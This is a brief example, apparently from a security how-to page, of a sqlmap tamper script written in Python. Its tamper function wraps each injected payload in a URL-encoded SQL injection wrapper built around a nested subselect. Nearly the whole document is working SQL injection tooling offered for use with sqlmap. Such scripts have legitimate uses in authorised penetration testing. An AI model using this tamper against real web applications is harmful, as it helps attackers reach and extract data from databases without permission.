How to create SQLmap tamper

sqlmap-tamper.py

#!/usr/bin/env python
"""
KING SABRI | @KINGSABRI
An example of sqlmap tamper script to inject the payload in query
"""
from lib.core.data import kb
from lib.core.enums import PRIORITY
import string
import re

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    query = "'%2b(select*from(select(QUERYQUERY))a)%2b'"
    retVal = payload

    if payload:
        retVal = query.replace("QUERYQUERY", payload)


    return retVal